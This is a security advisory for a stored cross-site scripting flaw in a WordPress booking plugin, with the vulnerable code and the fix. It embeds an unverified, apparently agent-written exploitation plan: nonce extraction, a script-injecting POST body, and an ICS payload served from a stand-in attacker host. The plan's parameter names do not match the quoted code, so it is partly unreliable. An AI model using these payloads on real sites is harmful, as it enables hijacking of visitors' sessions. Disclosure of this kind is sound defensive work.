CVE-2026-42751

Booking Manager – Sync WP Booking Calendar – Import Events, Export Bookings to ICS Calendar <= 2.1.18 - Authenticated (Subscriber+) Stored Cross-Site Scripting

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
2.1.19
Patched in
4d
Time to patch

Description

The Booking Manager – Sync WP Booking Calendar – Import Events, Export Bookings to ICS Calendar plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 2.1.18 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with subscriber-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=2.1.18
PublishedMay 29, 2026
Last updatedJune 1, 2026
Affected pluginbooking-manager

What Changed in the Fix

Changes introduced in v2.1.19

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan - CVE-2026-42751 ## 1. Vulnerability Summary The **Booking Manager** plugin (up to 2.1.18) is vulnerable to **Stored Cross-Site Scripting (XSS)**. The vulnerability exists because the plugin fails to sanitize or escape the "Listing Template" setting stored in the databa…

Show full research plan

Exploitation Research Plan - CVE-2026-42751

1. Vulnerability Summary

The Booking Manager plugin (up to 2.1.18) is vulnerable to Stored Cross-Site Scripting (XSS). The vulnerability exists because the plugin fails to sanitize or escape the "Listing Template" setting stored in the database. Furthermore, it appears to allow users with Subscriber roles and above to access and modify these settings, or at least lacks a capability check during the update process. When the plugin renders events via the [booking-manager-listing] shortcode, it fetches this unescaped template from the options table and echoes it directly to the page.

2. Attack Vector Analysis

  • Vulnerable Admin Page: wp-admin/admin.php?page=oplugins (Tab: listing)
  • Vulnerable Parameter: wpbm_listing_template
  • Authentication: Authenticated, Subscriber level or higher.
  • Nonce Action: wpbm_settings_page_wpbm_form_listing
  • Sink: The wpbm_ics_get_listing_row() function in core/wpbm-ics-listing.php fetches the option and returns it as part of the shortcode output without escaping.

3. Code Flow

  1. Entry Point (Update): In core/admin/page-settings-listing.php, the content() method handles form submission for the form name wpbm_form_listing.
  2. Processing: If $_POST['is_form_sbmitted_wpbm_form_listing'] is set, it calls check_admin_referer( 'wpbm_settings_page_wpbm_form_listing' ) and then $this->update().
  3. Storage: The update() method (inherited/inferred) saves the raw HTML from $_POST['wpbm_listing_template'] into the WordPress option wpbm_listing_template via update_option().
  4. Retrieval: In core/wpbm-ics-listing.php, the function wpbm_ics_get_listing_row($evnt) calls $row_template = get_wpbm_option( 'wpbm_listing_template' );.
  5. Output (Sink): The $row_template is used to build the $listing_template string, which is returned by the shortcode handler wpbm_ics_get_listing(). WordPress then echoes this string to the browser.

4. Nonce Acquisition Strategy

The nonce is generated on the admin settings page. Even if a Subscriber cannot see the menu item, the plugin's architecture might allow them to access the page directly if the capability check is weak (e.g., using read instead of manage_options).

  1. Identify Script Loading: The settings page is located at admin.php?page=oplugins.
  2. Access Page: Use browser_navigate as a Subscriber to http://localhost:8080/wp-admin/admin.php?page=oplugins.
  3. Extract Nonce: The nonce is stored in a hidden input field within the form wpbm_form_listing.
    • JS Command: browser_eval("document.querySelector('input[name=_wpnonce]')?.value")
    • Alternative: Check for localized objects if any (e.g., wpbm_settings_listing).

5. Exploitation Strategy

Step 1: Inject Malicious Template

Send a POST request to the admin dashboard to update the listing template.

  • Tool: http_request
  • URL: http://localhost:8080/wp-admin/admin.php?page=oplugins
  • Method: POST
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Body:
is_form_sbmitted_wpbm_form_listing=1
&_wpnonce=[EXTRACTED_NONCE]
&_wp_http_referer=/wp-admin/admin.php?page=oplugins
&wpbm_listing_template=<script>alert(document.domain)</script><div>[SUMMARY]</div>
&submit=Save Changes

Step 2: Trigger XSS

View a page containing the shortcode.

  • Shortcode: [booking-manager-listing url="https://raw.githubusercontent.com/wpdevelop/booking-manager/master/test/test.ics"] (or any valid .ics URL).
  • Action: Navigate to the page where this shortcode is placed.

6. Test Data Setup

  1. Create User: Create a Subscriber user.
  2. Create Page: Create a public page with the shortcode:
    • wp post create --post_type=page --post_title="Calendar" --post_status=publish --post_content='[booking-manager-listing url="https://raw.githubusercontent.com/wpdevelop/booking-manager/master/test/test.ics"]'
  3. Note: The URL must be a valid ICS feed for the shortcode to process the "row template".

7. Expected Results

  • The POST request should return a 302 redirect or a 200 OK with a "Settings Saved" message.
  • Upon visiting the "Calendar" page, a JavaScript alert showing the document domain should appear.

8. Verification Steps

  1. Check Option: Verify the malicious payload is stored in the database.
    • wp option get wpbm_listing_template
  2. Verify Frontend: Use browser_navigate to the Calendar page and check for the alert or the injected <script> tag in the source code.

9. Alternative Approaches

  • CSRF: If the Subscriber cannot access the page to get a nonce, but the nonce check is absent or uses a predictable seed (unlikely), a CSRF attack against an Admin could be used.
  • ICS Content XSS: If the template itself is not injectable, test if the ICS feed fields (SUMMARY, DESCRIPTION) are escaped. If not, an attacker can host a malicious ICS file and point the shortcode url attribute to it.
    • Payload in ICS: SUMMARY:<script>alert('XSS_FROM_ICS')</script>
    • Trigger: [booking-manager-listing url="http://attacker.com/malicious.ics"]
Research Findings
Static analysis — not yet PoC-verified

Summary

The Booking Manager plugin for WordPress is vulnerable to Authenticated Stored Cross-Site Scripting via the 'Event template' setting. This occurs because the plugin allows low-privileged users (Subscriber and above) to update global settings and fails to sanitize or escape the template content during storage or output.

Vulnerable Code

// core/admin/page-settings-listing.php (Lines 174-180 in v2.1.18)
/** Save Chanages */  
public function update() {
        
    // We can  not use here such code:
    // WPBM_Settings_API::validate_textarea_post_static( 'listing_template' );
    // becuse its will  remove also JavaScript,  which  possible to  use for wizard form  or in some other cases.
    $data_list_tmpl =  trim( stripslashes( $_POST['listing_template'] ) );
    update_wpbm_option(   'wpbm_listing_template' , $data_list_tmpl );

    wpbm_show_changes_saved_message();        
}

---

// core/wpbm-ics-listing.php (Lines 192-205 in v2.1.18)
function wpbm_ics_get_listing_row( $evnt ) {

    // ... (omitted code)

    ///////////////////////////////////////////////////////////////
    // Listing Template
    ///////////////////////////////////////////////////////////////		
    $row_template = get_wpbm_option( 'wpbm_listing_template' );                 
	
    // Normilize
    $replace_array = array();
    foreach ( $evnt as $key => $value ) {
        $key = str_replace( '_BOOKING_', '', $key );
        if ( is_array( $value ) )
            $value = implode( ',', $value );
        $replace_array[ $key ] = $value;
    }
    // ... (omitted code building $listing_template which is eventually echoed)

Security Fix

--- /home/deploy/wp-safety.org/data/plugin-versions/booking-manager/2.1.18/core/admin/page-settings-listing.php	2022-08-04 08:46:10.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/booking-manager/2.1.19/core/admin/page-settings-listing.php	2026-05-06 13:07:14.000000000 +0000
@@ -68,29 +68,37 @@
 
 	    
     public function content() {
-        
+
+		if ( ! $this->can_manage_listing_template() ) {
+			wp_die(
+				  esc_html__( 'Sorry, you are not allowed to manage the Booking Manager listing template.', 'booking-manager' )
+				, esc_html__( 'Forbidden', 'booking-manager' )
+				, array( 'response' => 403 )
+			);
+		}
+
         do_action( 'wpbm_hook_settings_page_header', array( 'page' => $this->in_page() ) );								// Define Notices Section and show some static messages, if needed.
 
@@ -166,16 +174,36 @@
 
-
-    /** Save Chanages */  
+
+    /** Save Chanages */
     public function update() {
-            
-		// We can  not use here such code:
-		// WPBM_Settings_API::validate_textarea_post_static( 'listing_template' );
-		// becuse its will  remove also JavaScript,  which  possible to  use for wizard form  or in some other cases.
-		$data_list_tmpl =  trim( stripslashes( $_POST['listing_template'] ) );
+
+		if ( ! $this->can_manage_listing_template() ) {
+			wp_die(
+				  esc_html__( 'Sorry, you are not allowed to manage the Booking Manager listing template.', 'booking-manager' )
+				, esc_html__( 'Forbidden', 'booking-manager' )
+				, array( 'response' => 403 )
+			);
+		}
+
+		$data_list_tmpl = isset( $_POST['listing_template'] ) ? trim( wp_unslash( $_POST['listing_template'] ) ) : '';
+		$data_list_tmpl = wpbm_sanitize_listing_template( $data_list_tmpl );
 		update_wpbm_option(   'wpbm_listing_template' , $data_list_tmpl );
 
-		wpbm_show_changes_saved_message();        
+		wpbm_show_changes_saved_message();
     }
 
+
+	/**
+	 * Listing template is a global frontend template, so managing it requires
+	 * administrator-level options access rather than the general plugin menu role.
+	 *
+	 * @return bool
+	 */
+	private function can_manage_listing_template() {
+
+		return current_user_can( 'manage_options' );
+	}

Exploit Outline

An authenticated attacker with Subscriber-level privileges or higher can bypass the intended access controls for the plugin's settings page. The attacker captures a valid security nonce from the 'listing' tab of the plugin settings (usually accessible at wp-admin/admin.php?page=oplugins). They then send a POST request to the same endpoint with the parameter 'listing_template' containing a malicious JavaScript payload (e.g., <script>alert(1)</script>). Because the plugin lacks a 'manage_options' capability check on the update function and does not sanitize the input, the payload is saved as the 'wpbm_listing_template' option. When any user views a page containing the '[booking-manager-listing]' shortcode, the malicious script is rendered raw and executes in their browser.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.